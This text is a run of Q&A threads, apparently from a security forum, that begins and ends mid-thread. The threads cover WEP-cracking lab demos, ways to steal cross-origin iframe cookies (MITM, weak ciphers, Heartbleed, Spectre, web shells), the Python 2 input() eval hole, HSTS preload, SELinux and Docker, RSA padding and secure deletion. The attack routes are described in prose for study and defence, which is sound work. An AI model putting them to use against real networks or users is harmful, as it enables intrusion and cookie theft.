Vanishingly unlikely that this is an indication of some kind of compromise.  (The only contrived way I could imagine something like this would be very strange copying of your file through the memory netflix tried to read, but so many parts of that don't even make sense).

It'll be a weird bug (i.e. unintended outcome of software, with no malice involved).

You mentioned this is from some app that streams it from your mac - was the other video the last thing that app had open?  Was it the last thing you used this was on your TV, in a way where the tv might've cached it? .. I'd bet it could be some kind of caching / attempt bysoftware to pre-load the last thing you watched into ram; speculation, but the chances of 'hacking' being the reason for this specifically is vanishingly close to zero.


Can viruses be transfered across incompatible architectures? I am needing to run scans from one computer/laptop/device to another computer in a protected system.  I am worried that plugging in my scanning computer to the protected computer might cause some risk in that a virus may be transferred.

To reduce the risk I wish to use incompatible architectures, specifically I wish to use an ARM based computer to scan the x64.  If both computers use the same type of operating system Windows RT/Windows 7 or a Debian Arm Port with an standard Debian 64-bit have I reduced my chances of transferring a virus in any significant way?

It might, different architectures may stop binaries compiled for one architecture being executed on another. On the other hand, if the virus does not depend heavily on the host architecture (eg. it uses interpreted code such as shell scripts) or is designed to work across multiple architectures then it may not help.

A better approach might be to use an ephemeral OS, such as a live CD which can be discarded afterwards, or mount your root device as read only.


Any risk of email configured for pop/imap access? If my mobile phone is infected with some malware and the only connection I have to my corporate network is that the email client in the phone is configured for mail (pop/imap), what would be the risk of getting my corporate network compromised ?

Or, what would be the attack vector for an attacker who wants to compromise a corporate network, but the only connection between him and the network is a phone with an email client.
(mobile phone does not connect to the business network or wifi)

Oh, it's high risk, but not necessarily for the reasons you think.

If an attacker gains access to your emails, the easiest attack vector is to find every email address possible, then email them pretending to be you, and attach some malware to the email.

Malware-attached-to-emails is the oldest trick in the book, and still one of the most effective. It's how Cryptolocker is spreading, and many high profile hacks used this method.


How to simulate a WEP cracking scenario for faster cracking in local lab? I need to illustrate WEP cracking methods, I'll be using aircrack suit for that.
There is a little problem that I want to speed up the method for very fast packet capturing, since this is just an illustration and I can simulate the necessary conditions in lab, I was wondering what would be the idle environment that I need to prepare ?

Can anyone help me with that ?

On a virtual lab, assuming that you want to demo this with no physical hardware, I would recommend getting a .pcap of actual WEP traffic (wireshark or tcpdump will do for this) and rebroadcast it with a simple python script or a tool like tcprelay.

Just setup two VMs on the same subnet and use one to broadcast and one to crack. One of the problems that people tend to run into with these demos is that you need network activity on the target access point to get enough data to perform the crack. By doing it once for real (when you generate your .pcap) and just capturing that data off in a .pcap you won't have to worry about setting up some ancillary service to generate traffic for you.  It's already done and you will know that there is enough data, very good for demo purposes.  Also, I'd recommend using Aircrack-ng over just Aircrack. Aircrack will do but it's kinda out of data.

You should be able to run a similar setup to this on laptop with VirtualBox and two stripped down linux VMs.

EDIT:
Here are some example .pcap files for WEP breaking from http://weplab.sourceforge.net/
You may be able to use the weplab project to get the type of setup you're talking about right out of the box, actually. It looks like they have examples for a number of WEP attacks and pretty good documentation on how to get it all up and running.

weplab-64bit-AA-managed.pcap
weplab-64bit-aaa-managed.pcap


Why is phishing becoming synonymous with ransomware? The Wikipedia definition of phishing is:

the fraudulent practice of sending emails purporting to be from reputable companies in order to induce individuals to reveal personal information, such as passwords and credit card numbers

But, now I'm tired of journalists in the mainstream media and some IT people,  continually equate phishing with ransomware. They are different right?
Ransomware emails generally do NOT ask you to divulge any information. They just want you to click on the attachment or URL. But phishing and ransomware are often mentioned in the same breath.
I'd love to hear other opinions on this.

Phishing is simply a delivery mechanism that works by duping the recipient into believing a message is benign.  They're cheap to deliver, and often target old, unpatched systems (that still have active users.)  The only definition that matters is "trickery".

Ransomware is the malware of choice simply because it's the most instantly profitable crimeware on the market today.

It's not a surprise that people conflate the two. Try not to be bothered by the terms people misuse -- it's a waste of your focus.


HSTS preload and requisites on domain - subdomains must be added too? I found that the security header for protection against mitm attacks in first connection is to implement HSTS preload directive and add the list of google: https://hstspreload.org/
However the requisites to do that is to include all subdomains of the domain given. This makes a problem to websites that are really big, they just want to preload the domain and not the subdomains...
1)is there any way to make this work?
2) does the preload of the domain preloads subdomains too? i may be getting all wrong

personal example/experience:
i was doing pentesting against a website example.com and it was preloaded and added to the hstspreload list, however i found that vulnerable.example.com subdomain didn't have HSTS header and it wasn't preloaded, so of course it was vulnerable to mitm attacks, but how? it had the domain preloaded, and to add it there you need to add subdomains too... so was this an exeption or what happened here?

If I recall correctly, when HSTS preload was launched, it did not need to have subdomains included.

Now, the requirements state :

  Serve all subdomains over HTTPS. In particular, you must support HTTPS
  for the www subdomain if a DNS record for that subdomain exists.

  Serve an HSTS header on the base domain for HTTPS requests:

  The max-age must be at least 31536000 seconds (1 year).
  The includeSubDomains directive must be specified.
  The preload directive must be specified.
  If you are serving an additional redirect from your HTTPS site, that redirect must still have the HSTS header (rather than the page it redirects to).

BUT, how are they going to check this ?

Say you want to register "example.com" but not "vuln.example.com" and other subdomains. I would recommend you trying :

Do not include subdomains in your DNS, but do a redirect upon request from your server
In your headers, do not include "subdomains"
on https://hstspreload.org Register only "example.com", and "www.example.com" if you have an entry for this in your DNS and do not register for subdomains

Then, if on hstspreload.org they tell you can't submit for your domain because subdomains is not included, I guess you're scr***d. :/

Please share if you manage to do it ! :)


Protect server in CTF challenge when exploting input() vulnerability in python There was this challenge in one of the CTF's I played in which you had to exploit the input vulnerability of Python 2.x . I was just wondering that since the input function in Python 2.x is same as eval(raw_input()) you could basically give a power off or move into another directory. How do you setup the server such that you can prevent people from doing that but also let them allow you to exploit the vulnerability?

One simple way I can think of is to sanitize user input using a blacklist which contains the commands you do not want to allow, such as the ones you have mentioned.
OWASP provides very good explanation about White/Black lists HERE


What CWE can be used to best describe ASLR being disabled on a process? I am in the process of writing up a vulnerability report for a thick client application. One of the findings for the executable is ASLR being disabled. As part of reporting, I'm required to provide a CWE to the client that best describes the vulnerability. I can't seem to find a strong CWE that describes ASLR being disabled.

Some of my co-workers have used http://cwe.mitre.org/data/definitions/119.html but that is just wrong, as that CWE does not describe anything along the lines of the randomization that ASLR tries to perform.

What CWE have people used in the past?

Thanks in advanced.

CWE doesn't enlist lack of ASLR explicitly as an entry, but I believe it definitely comes under "Security Misconfiguration" CWE-815 as Rook has stated above.

Additionally, I wanted to add that Buffer Access Using Size of Source Buffer CWE-806 clearly recommends it as one of multiple necessary measures for system hardening against overflow based attacks. The exact statement is as follows:-

  Phase: Operation
  Strategy: Environment Hardening Use a feature like Address Space Layout Randomization (ASLR) [R.806.3] [R.806.5].
  Effectiveness: Defense in Depth
  This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Also, although the OWASP Project identifies it as a Wiki Page and weakness, it doesn't state which category it falls under at this point of time (Seems like a good thing to contribute to). :( Ref: https://www.owasp.org/index.php/Address_space_layout_randomization_%28ASLR%29


How to get the cookie of embedded iframe I'm embedding an iframe on my site

< iframe id="demo" src="https://example.com" >

example.com has a cookie (not a http-only cookie)

How can I get the cookie?

Assuming your site is not "example.com" (i.e. that this is a cross-origin iframe) and that there isn't a separate security vulnerability on example.com (such as cross-site scripting), you can't do this. It would violate the same-origin policy, which is a very major security boundary for browsers.

You could try attacking the network, but HTTPS is in the way. Assuming you have some way to capture or at least observe the victim's network traffic (such as DNS tampering, ARP spoofing on the local network, having control of the victim's router or other node on the path, etc.), you still need one of the following:

A trusted TLS certificate for example.com
A way to convince the client (browser) and server to accept a weak cipher suite, such as one using "export" encryption (or even RC4)
The server to be vulnerable to an attack such as BREACH, CRIME, POODLE, or similar
Some other as-yet undiscovered security vulnerability

Alternatively, if you have a network attacker position and the target site neither uses the "Secure" flag on its cookies nor uses HTTP Strict Transport Security (HSTS), you could have your iframe make a request to the HTTP version of the page instead, and steal cookies off the wire when it does.

You could also try attacking the server directly. If the server is vulnerable to Heartbleed, that's an easy way to steal somebody's cookies, though not necessarily those of the intended victim. Getting code execution on the server (through something like uploading a web shell or finding a command execution bug) would let you do whatever you wanted with the web server, at which point stealing cookies is often a waste of effort but technically possible.

Alternatively, for browsers not patched against Spectre or using site isolation (where each site's data is in its own process), you could use Spectre to attack the client and steal the cookies that way.

Basically, though, using only the tools you've described and assuming an otherwise-secure system, it can't be done.


Base64 conversion for byte array in encryption I am using ECC algorithm for security. Now the concern is I am placing the data in web page after encryption of the data in hex format and transmit to server and then it decrypts the data, but when I encrypt the data then at that time then the method returns me the byte [] and then I will have to convert that byte [] into Base64 byte [], if I am not doing this thing then it gives me error of bad padding while decrypting the data. so my conern is why I need to convert that byte [] data into Base64 byte [] data ?

It sounds like you are using cryptography improperly.  There is no reason to store encrypted data within an html page.  Further more ECC and another asymmetric algorithms are very resource intensive.  A symmetric cipher should be used with a mode that has authentication.

But most importantly.  Why aren't you using HTTPS?


Can a hacker pretend his IP as my IP in order to send requests to my server? I am using Google-compute-engine and I have opened my Server to receive request only from a certain IP address and at the specified port by creating a firewall-rule and allowed only this IP, now in order to send a request to my server if a hacker knows what IP I have allowed, now can he use my IP in order to send request to my server(fake my server that his IP is my IP)?

Is it possible or not?

And if it is, then what things can I do in order to make server to receive requests from my system only?

Edit - Actually my concern is suppose my system IP is 123.23.23.23 and only this Ip I have allowed for my server to accept requests by creating a firewall-rule and allowed only this IP, now can a hacker show my server that his/her Ip is this because of which server will send data to his person?

Spoofing IPs is one thing, getting the replies back is quite another. To spoof a packet the attacker just needs to find an ISP that is sloppy about ingress filtering. To get a reply back the attacker needs to inject routes into the network which is hard to do and especially hard to do without getting noticed. It does happen from time to time though, search for BGP hijacking to find examples.

So the first thing you need to do is make sure that your server requires some kind of session establishment (for example TCP) before acting on a request.

Beyond that you should not be using IP filtering as your sole defense mechanism but as only one part in a stack of security measures, so in the event that the attacker does manage to perform a BGP hijack they still face other security measures.


How to run a snort rule over pcap file I have a pcap file, and what I wanted to know is how can I apply the Snortrule below which I've already written within the rules folder in my log folder:

alert icmp any any -> any any (msg:"TCP Packet"; sid:477; rev:3;)

How can I execute this rule over the pcap file I have?

Supposing the rule is already in a Snort .rules file and snort.conf is configured to include the .rules with the rule to test...

$ snort -r foo.pcap

...or...

$ snort --pcap-single=foo.pcap

...from...

http://manual.snort.org/node8.html


OWASP ZAP teaching spider to use custom header I need some help with setting up OWASP ZAP to correctly crawl my One-page Angular website with the spider.

I successfully set up a zscript which will handle the login and add a HTTP Session I can set as active.

However my website has a special need to add an auth-token and auth-id to the header additionally to the JSESSION-ID. However the spider won't do it automatically, so I need help with configurating it correctly.

The header which works looks like this:

GET http://localhost:8180/rest/crud/jobDefinition HTTP/1.1
Host: localhost:8180
Proxy-Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
auth-id: 1015
auth-token: 2b84722e-3270-483d-8852-e319b8c12810
Referer: http://localhost:8180/
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=7evOfQDs5F0bXcsmSq0rIM3U6AYQ1-PoD9L4HRb3.FG003.server01; pi_side_menu_size=large; authToken=2b84722e-3270-483d-8852-e319b8c12810

the only header content my spider in ZAP is sending is this:

GET http://localhost:8180/rest/permission/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0
Cookie: JSESSIONID=D1L17-8UQ4CpAeJ4NC40txHP3YPHWG8e6dyep-Js.FG003.server01
Host: localhost:8180

The script to login is loaded into my session context and when I start the spider it should either find my active marked session and use that one or perform the login over the script.

Checking forced user mode didn't change anything, also I cant find the configuration to let my spider to use these header variables.

Is it even possible or can I only use a passive scan?

Authenticated scans are tricky beasts. They do work, but can be tricky to set up. We have a FAQ which explains about form based auth: https://github.com/zaproxy/zaproxy/wiki/FAQformauth - its still relevant to other forms of auth, esp the trouble shooting section.

You can also inject headers directly using the Replacer add-on.


Dilbert's Pointy-Haired Boss & Influencing executive perspectives on Information Security In Scott Adam's cartoon Dilbert the Pointy-haired Boss has no name because Scott Adam's wanted his readers to relate the boss character to bosses known to the readers.

This is pointed out because (and unfortunately) many Information Security professionals all-to-often encounter naive attitudes from executive management similar to the ones Dilbert's pointy-haired-boss exhibits - such as:

  We've had no cyber-security breaches in the last fiscal last year.  Why do you suggest we need to spend more on cyber-security?  Since there seems to be no threat, isn't there room to shift funds away from cyber-security?

This logic is like "The bank hasn't been robbed in years, therefore it doesn't need security guards!"

I've found at least 1 strategy works to influence attitudes like this: which is emphasizing the Return-On-Investment (ROI) mitigating risks is always less than that of accepting risk in the first place (i.e. "An ounce of prevention is worth a pound of cure!")

QUESTION:

  Since it's clear all effective information security strategies starts with executive management "buy-in", what strategies have folks found to be effective in changing some of these naive attitudes held by senior management towards appreciating the true nature of these risk, and in cultivate a corresponding appetite for investing in risk-mitigation?

When it comes to business management, it always comes down to ROI. If you are not hitting them at that level, then you will likely lose.

So, when you talk about the "true nature" of the risk, what are you talking about, if not the ROI? It is your job to know the right answers and the best practices, but it is management's job to weigh all the factors, including impacts. Talk to them on that level, without being a 'chicken little'. Simply communicate.

So, keep doing what you are doing. Relate the risks to the impacts that management cares about. Then, if you have done your job and told them what they need to know,  let management do their job and make the decisions about what to do about it.


What specific padding weakness does OAEP address in RSA? It's been recommended to use OAEP when padding messages to be encrypted via RSA, to prevent known plain text attacks.

Can someone elaborate this in better detail? I'd specifically like to know the weakness in the previous scheme, both from a theoretical as well as practical/real-world perspective.

The operation at the core of RSA is a modular exponentiation: given input m, compute me modulo n. Although in general this is a one-way permutation of integers modulo n, it does not fulfill all the characteristics needed for generic asymmetric encryption:

If e is small and m is small, then me could be smaller than n, at which point the modular exponentiation is no longer modular, and can be reverted efficiently.
The operation is deterministic, which allows for exhaustive search on the message: the attacker encrypts possible messages until a match is found with the actual encrypted message.
The modular exponentiation is malleable: given the "encryption" of m1 and m2, a simple multiplication yields the encryption of m1m2. This is akin to homomorphic encryption, which can be a good property, or not, depending on the context.

For these reason, the integer m which is subject to RSA must not be the data to encrypt alone, but should be the result of a transform which ensures that m is "not small", contains some random bytes, and deters malleability.

The "v1.5" padding in PKCS#1 does the job reasonably well, subject to two (known) caveats:

A decryption engine can be turned into a padding oracle if the attacker can submit malicious messages to decrypt, and observe whether the decryption engine found a correct padding structure or not. This is Bleichenbacher's attack, which could work against SSL server, requiring about one million aborted handshakes to recover the SSL symmetric key. SSL servers have since been patched (if decryption fails to find a padding, the engine nevertheless continues with a random blob instead of the "pre-master secret"), but this highlights a potential problem with PKCS#1 v1.5.
This padding scheme was never "proven". Security proofs are a neat thing to have. In my opinion, this padding got something better, which is that it has been deployed in the field and widely used for almost 20 years; but many people prefer it when there are some mathematics which corroborate experience.

OAEP aims at making things better on these two points. It turned out that for padding oracles, things are not that clear; and the first proof was shown to be somewhat wrong by Shoup. The proof was "repaired" by Fujisaki, Okamoto, Pointcheval and Stern in the case of RSA (OAEP was designed as a generic padding scheme, but we now have a proof of security only when used with RSA).

To sum up, OAEP tries to improve over the previous padding for resistance against chosen ciphertext attacks (not chosen plaintext attack: since the public key is public, anybody can encrypt anything at will), but the v1.5 padding was already heuristically good at it, up to a million or so decryption, which is good enough for many purposes, and can be patched for others (as was done for SSL). OAEP does better if correctly implemented, which is not as easy as usually believed.


How to deliver an encrypted message to multiple recipients without revealing keys Let's say I have generated a private and a public key. I create a message and encrypt it with the public key. I deliver this encrypted message and a private key to multiple recipients.

Why would I do this?

I want to be able to deliver a message that can only be decrypted. I don't want anyone to be able to encrypt a dummy message and deliver this to all recipients with them assuming it was from me.

I think I am on the right track using RSA - but somehow I need it all in reverse.

Also, if I give people the private key, and I keep the public key safe, am I right in believing that it's possible to generate a new public key just using the private key itself?

Let's take an example of my problem.

I create an encrypted message using my public key:

ajjfjdksdjkdfjfjdjfd

The end user decrypts it using the private key to:

green:1234:table

All good so far. The above message and be authenticated very basically checked for the three strings within a :.

However, as these encrypted messages could be from untrusted sources, I want it impossible for any untrusted source to be able to create these messages since they know the simple format. I don't want the key I provide be enough for them to reverse engineer the public key.

I am finding it hard to explain, I am hoping that this can be answered.

I think you've gotten public key cryptography all out of whack, here.

You don't give out a private key. Period. They're called "private" for a reason.
You don't send an encrypted message along the same channel, let alone at the same time, as you send the only key that is needed to decrypt it. That completely defeats the purpose of the encryption in the first place.
A key pair is only useful for authentication (i.e.: digital signature) if the public key has been verified by the recipient(s) (or a trusted third-party) prior to use.

So, how do you deliver an encrypted & signed message to multiple parties without allowing them to impersonate you in return? The answer lies back in #1: No two people hold the same private key.

If you're the only one with a copy of your private signing key, nobody can impersonate you. You simply sign the message with your private signing key before any encryption is done. Recipients then use your public signing key to verify the message's authenticity after they've decrypted it.

The encryption portion is a completely different matter. And for that, you have a few options.

No encryption. Just sign and deliver. Authenticity is protected regardless, but this method offers no confidentiality.
Encrypt with pre-shared key (PSK). Emphasis on pre-shared - this one doesn't get shipped along with the message. It should be shared among the group before-hand, preferably out-of-band. The PSK is used for encryption/decryption only. Your signing key is what provides authenticity.
Encrypt individually with public keys. Take the signed message, and make a copy for each recipient. Then, encrypt each copy with one recipient's public key and send it along. The recipients will use their private keys to decrypt the message.
Use private keys as key-encryption-keys (KEK) for a shared key. Depending on the size of the message, this can be quicker than #3 while still keeping the benefits of public key encryption. You generate a random, one-time use, shared key. Use that to encrypt the signed message. Make a copy of the shared key for each recipient. Encrypt each copy of the key with one recipient's public key. Bundle all the encrypted keys together with the encrypted message and send a copy of that same bundle to each recipient. Each recipient will use their private key to attempt decryption of each copy of the shared key until they find their copy, then they'll use that to decrypt the message.

Again, the main thing that protects the authenticity & verifiable origin of the message here is the fact that only you have a copy of the private key that was used to sign it. Beyond that, for authentication purposes only, it doesn't matter how or even if the message is actually encrypted. At the end of each of these processes, when the recipients have a cleartext copy of the signed message, your public signing key is what they'll use to verify its origin and integrity.


Should you let yourself ssh into every machine in your network? I am wondering how you should setup your network (AWS) so you can debug different things that might occur. Obviously there's logging, but it seems at some point you might require SSHing into the actual machine of interest and checking around. If this is the case, it seems you would need to open up port 22 on every machine in the network. To make it secure, I would only allow bastion host to connect to my IP address, and then every other machine only allows connections from the bastion host on the internal network. Is this considered bad practice? If so, what is the right way to go about this situation?

This is a great question becuase this is a common concern I deal with. I will give some answers into what you should understand and what I would do.

Bastion Host or JumpBox is just two step so you can log in to the AWS via SSH port 22 or RDP port 3389 as you already know (for new users reading). It is a way to secure and to let your instances and not let your instances be in a public subnets (expose to the internet). Which means you need to access the jumpbox (Bastion Host) and then connect to the instance which is in a private subnet (no internet access). If you have multiple instances this will save you alot because you will only have to manage the security of the bastion host.

Opening ssh to the world is a very dangerous practice. For once when you create an instance in amazon it generates a keypair .pem so you can connect to your ec2 instances. The issue is managing the keys. If we talk about an organization as an example many users will have keys that will be an issue, and will fall out of hands if the instances are exposed to the internet and also its not a good practice to share keys between users for the same instances.

Resume:
So between these point what I would suggest if its that much level of security that you want is that you may want to look at something called SSM. SSM is an agent that is installed in your instances that monitor the instances, you can block all ssh access including in a provate subnet. And you can only connect trough it via the AWS Console (Picture below). You will not need a bastion host nor opening your instances up to the world via an ssh port. Which means you will save costs and also provide better security. Another point is you will have full to the instances (logs, healthcheck and control) trough the IAM which you can authorize which user or resource has accesss to it.

Login trough the SSM
Observation : These are all in a private subnet and I use an Internet Gateway to download dependencies from yum.


Benefits of home router behind Linux firewall? Like a lot of people I have a simple consumer grade router at home. The setup is pretty standard:

  Ethernet from the cable modem --> router's WAN

Given the poor track record of consumer routers in terms of security I decided it would be safer to put the router behind a firewall. In my case I used a spare PC and setup a dedicated pfSense box. The new config is:

  Ethernet from cable modem --> pfSense --> router connected to pfSense LAN.

  (Router  gets IP via DHCP from pfSense LAN)

My thinking is that pfSense is more actively updated then my router's firmware so it should have less bugs and vulnerabilities. It also offers more control than my router.

My question is, assuming a properly configured pfSense, does the addition of pfSense add any additional security from outside attacks? I understand that the firewall does nothing to mitigate "user error" attacks like downloading malware, plugging in infected USB drive, etc.

Thanks.

After reading a bit into the documentation this seems like a nice bit of additional security for a home network. You have a basic firewall package with basic networking features. In your case it is free, and can be a nice side project. Some things you will want to configure:

Firewall rules

Make sure you actually configure firewall rules to fit your situation. There are plenty of guides, take your pick.

NetFlow

I notice that iftop and bandwithd are both available packages to install. I would recommend these. If you notice you're home network is sending out tons of data at 3 am, there may be a problem. These tools can help you identify those issues.

IPS/IDS

Snort and Suricata are also both available packages. I'd recommend picking one and installing a simple interface to view alerts (snorby is simple, and nice).

If you have the time, and inclination these steps will be good first steps towards securing your home network. Have fun.


Why is accessing a remote database a security risk? I recently wrote a small PHP script to get users that are online in my application, which uses MySQL and is hosted from my dedicated server. I use a popular web hosting company and had trouble connecting to my MySQL database from the script, so I contacted the web host and I was told this:

  Sorry. We are unable to allow connections to external databases as it is a security risk.

The support representative was apparently unable to tell me what this 'security risk' is, and I can't think of any additional security risks accessing external database systems would bring as this particular host allows connections to the databases situated on their hosting platform.

I suspect that this could be a marketing tactic (that you must use their database servers), but is there any actual risk of accessing a remote database server?

The only Security risk I can think of would be if one of the two servers where compromised and thus compromised the other.

Or possibly they are concerned about hosting content that they do not have physical control over.

But yes, I too suspect its a marketing ploy


How can one protect TPM firmware from tampering? I know that a TPM includes ROM, nonvolatile (e.g. EEPROM), and volatile (e.g. SRAM) memories. The executable firmware is stored in ROM, such as various drivers and commands.

But this time, I want to know how the firmware in ROM can be protected from tampering.

For example, I heard that device authentication may protect TPMs from tampering and other faults during firmware updating.  What kind of ROM do TPMs normally use?  One-time programmed,

or mask programmed so that it is impossible to change the contents after fabrication?

That's a pretty involved question.

First of all: If it actually is ROM, it's tamper-proof. ROM is, electrically, read-only memory. It cannot be changed.

Now, it's perfectly possible that the TPM chip runs firmware that is, in fact, in writable memory.

There's lots of way that can be protected: For example, by only making the firmware memory accessible via command coming from the firmware itself – in that case, the firmware has the job to check whether a firmware update is to be accepted, eg. by checking the electronic signature of who's trying to update the firmware.

Loadable Firmware could also, by the ROM-resident bootloader, be checked e.g. for digital signatures matching the manufacturer key in a piece of ROM.

Other methods involve getting special signal lines from the CPU that are only high when the CPU is in SMM (system management mode, something that usually only the UEFI can enter).

  What kind of ROM do TPMs normally use?  One-time programmed,
  or mask programmed so that it is impossible to change the contents after fabrication?

I can't even tell you whether it's actually ROM, as you can see above. It's an implementation detail, and I'm sure you can learn about the different approaches the manufacturers chose from their datasheet.


How to securely erase the free space on an SSD in windows 10? I would like to wipe ALL free space on my SSD which Windows 10 is installed on, so that no previously deleted file can be recovered. How can I achieve this?

Assuming that the SSD has a properly implemented TRIM function, then Free Space should already be wiped for you, this is what TRIM does as a side effect of preparing deleted/unallocated files for reuse in an SSD.

To check if TRIM is on in Windows, from a command prompt:

  fsutil behavior query disabledeletenotify

The response should be one of these:

  "NTFS DisableDeleteNotify = 0" Which means TRIM is ON.

  "NTFS DisableDeleteNotify = 1" Which means TRIM is OFF.

If for whatever reason you want to roll your own as it were, you can use any of a myriad of cleaning utilities or simply create a giant file of arbitrary data until you run out of space then delete the file.

That said, there are GOTCHAS to be aware of!

Wear Leveling – (Not an Issue)

This is an effect of SSD’s swapping physical storage cells with spares as the cells begin to wear out. Once swapped out, the old data in the cell is no longer reachable to be wiped. This is not a realistic concern. This data is beyond the reach of all standard forensic labs. The few that could perform the necessary chip off disassembly are rare, very expensive, and still have poor capabilities to reassemble the wear bits into anything coherent.

Windows Shadow Volume – (Big Concern)

Deleting and wiping files in Windows does not necessarily touch previous versions of those files kept by Windows for file recovery.

MFT and small files

Small files (in the under 1 KB range but varies) may be stored directly in the Master File Table instead of as their own file. This is important because when these small files are deleted, only the usage indicator is deleted from the MFT, but the MFT itself is NEVER deallocated.

Databases

Similar to the MFT, removal of an entry in a database does not deallocate the database file. Until that particular slot is reused or the database is compressed/vacuumed the data is potentially still there.


Idea for hiding your mobile phones' location, and still be able to place and receive calls. Any suggestions? The diagram below is a thought experiment that could provide a certain level of privacy to mobile (smart)phone users, beyond what they currently have. Some of it is purely theoretical, but it should nonetheless be possible.

I would love some thoughts/advice/criticism on this:

Short explanation

The users phone has all services turned off (gps location, phone and data connections to provider are all off), except for the wifi radio.
The phones wifi radio has a connection to an open wifi network in the vicinity, and through that a connection to the www.
Through this wifi connection an openvpn tunnel is created to the users home server.
The home server patches the users request through to his pbx server, which calls the requested number over voip.

Advantages

The call appears to be originating from the users home, so the callers location should be reasonably protected.
In theory this process could also be reversed, allowing the user to receive calls as well.

Disadvantages

An open wifi network in the vicinity is needed.
Probably some lag.
Subscription to a VOIP provider is required.

You haven't stated the security problem you are trying to solve, so I'm going to default to "defeating government snooping".

There's no reason this wouldn't work from a technical point of view, though from a business perspective it is impractical and would get very few takers. The primary problem with it is that it will be challenging from a wifi access perspective. Mobile telephone companies have spent billions on the infrastructure to establish quality coverage over wide areas, you're talking about people giving that up in favor of wifi services that are spotty even in metropolitan areas. I personally wouldn't use it.

Also, in order to really ensure privacy you'd have to develop your own mobile telephone OS, and prevent it from going to any app stores. Who knows what back-doors the mobile company put in the android distro they put your phone? Installed apps can have all sorts of snooping capabilities, so if you don't control for these things there's no point in your design.

Lastly, say you build this and some people start using it, nothing is going to stop governments from knocking on the VoIP provider's door and demanding that they give them their phone records. In fact, in many places any phone provider is already compelled to by law. So you'd be substituting snooping on mobile networks with snooping on VoIP. The fact that you are going to put these calls into the phone system at all defeats the whole purpose. Information from the VoIP provider could be used to determine the location a call was made from using the IP addressing used in the VPN that was set up. You could obfuscate that by running some VPN proxies for people to connect through, although being that they'd have to be set up beyond the reach of the government you're trying to defeat you're going to have latency issues.

If you want to deliver secure communications then encrypted point to point connections are a good way to go. You can use mobile providers' own networks or WiFi for transport, whatever's available. Network availability would be much better than if you rely solely on WiFi. It doesn't matter that it goes over the mobile network as it's encrypted, and if there are secure servers somewhere out there to act as proxies (think TOR) then the end points of the connections are harder to track. Not that Skype already does much of this, however their operations and code are closed, I personally wouldn't treat it as secure or private.


How to find an appropriate SELinux type to prevent "permission denied" Objective

Find out a solution to avoid the permission denied due to SELinux.

Background

Deployed a docker container which mounts the host file /var/run/docker but cannot access it within the container due to "Permission denied".

$ ls -Z /var/run/docker.sock
srw-rw----. root root system_u:object_r:container_var_run_t:s0 /var/run/docker.sock

$  sudo semanage fcontext -l | grep '/var/run/docker'
/var/run/docker\.sock                              socket             system_u:object_r:container_var_run_t:s0

The SELinux log shows below.

$ sudo cat /var/log/audit/audit.log | grep sock
type=AVC msg=audit(1516519533.557:1465348): avc:  denied  { connectto } for  pid=54437 comm="python" path="/run/docker.sock" scontext=system_u:system_r:svirt_lxc_net_t:s0:c556,c641 tcontext=system_u:system_r:container_runtime_t:s0 tclass=unix_stream_socket
type=AVC msg=audit(1516519533.966:1465349): avc:  denied  { connectto } for  pid=54440 comm="python" path="/run/docker.sock" scontext=system_u:system_r:svirt_lxc_net_t:s0:c556,c641 tcontext=system_u:system_r:container_runtime_t:s0 tclass=unix_stream_socket

Process IDs which is causing the permission denied.

root      53831  0.0  0.0 216508  1932 ?        Sl   18:24   0:00      \_ /usr/bin/docker-containerd-shim-current 28b7eb84ebfccd297ea18352b38b765f1f3ede5e03fb9f29b3218b7355110b7e /var/run/docker/libcontainerd/28b7eb84ebfccd297ea18352b38b765f1f3ede5e03fb9f29b3218b7355110
1001      53846  0.0  0.0   2668   720 ?        Ssl  18:24   0:00      |   \_ /pod
root      54329  0.0  0.0 280636  1932 ?        Sl   18:24   0:00      \_ /usr/bin/docker-containerd-shim-current 149bb5c7d37b4335ade587d7a1b38331b48ffe7ae83c865fd4afc2dbc2fccc4f /var/run/docker/libcontainerd/149bb5c7d37b4335ade587d7a1b38331b48ffe7ae83c865fd4afc2dbc2fcc
root      54345  0.1  0.1  95800 19040 ?        Ss   18:24   0:03          \_ /opt/datadog-agent/embedded/bin/python /opt/datadog-agent/bin/supervisord -n -c /etc/dd-agent/supervisor.conf
root      54435  0.0  0.0 275920  5732 ?        Sl   18:24   0:01              \_ /opt/datadog-agent/bin/trace-agent
root      54436  0.2  0.2 173424 40456 ?        S    18:24   0:07              \_ /opt/datadog-agent/embedded/bin/python /opt/datadog-agent/agent/ddagent.py
root      54437  0.1  0.2 219256 37668 ?        Sl   18:24   0:05              \_ /opt/datadog-agent/embedded/bin/python /opt/datadog-agent/agent/dogstatsd.py --use-local-forwarder
root      54440  1.4  0.3 320204 57180 ?        S    18:24   0:50              \_ /opt/datadog-agent/embedded/bin/python /opt/datadog-agent/agent/agent.py foreground --use-local-forwarder

The label of the denied process.

$ ps -Z -P 54440
LABEL                              PID PSR TTY      STAT   TIME COMMAND
system_u:system_r:svirt_lxc_net_t:s0:c556,c641 54440 1 ? S   1:56 /opt/datadog-agent/embedded/bin/python /opt/datadog-agent/agent/agent.py foreground --use-local-forwarder

Simply granting the subject context on the target file does not work as it is not for a file object, I suppose. (This is confusing and how I can know which type is for which objects).

$ sudo semanage fcontext -a -t svirt_lxc_net_t "/var/run/docker.sock"
ValueError: Type svirt_lxc_net_t is invalid, must be a file or device type

Question

Please help understand:

If the cause of permission denied is only due to the SELinux or not.
How to find the appropriate context/label to give, and which one to change (process or file).

Research

There are multiple articles regarding docker and SELinux which tells docker processes inherit svirt (VM) labels and give svirt_sandbox_file_t but it did not work.

chcon -R -t svirt_sandbox_file_t /var/run/docker.sock

I had a similar issue sharing an X unix socket. While sharing regular files with flags z or Z is possible, it fails with unix sockets. I have discussed it here:

https://unix.stackexchange.com/questions/386767/selinux-and-docker-allow-access-to-x-unix-socket-in-tmp-x11-unix

The best general solution I found was to set docker run option:

--security-opt label=type:container_runtime_t

Be aware that this probably disables all SELinux protection for this container.

(Though, if you want to share /var/run/docker.sock you already give up all possible protection of the host, not only SELinux. Are you sure you want that?)


Meltdown and Virtual Machines This question originated from a discussion about VMs not being vulnerable to Meltdown.

Can Meltdown "break out" of a virtual machine, so to speak?

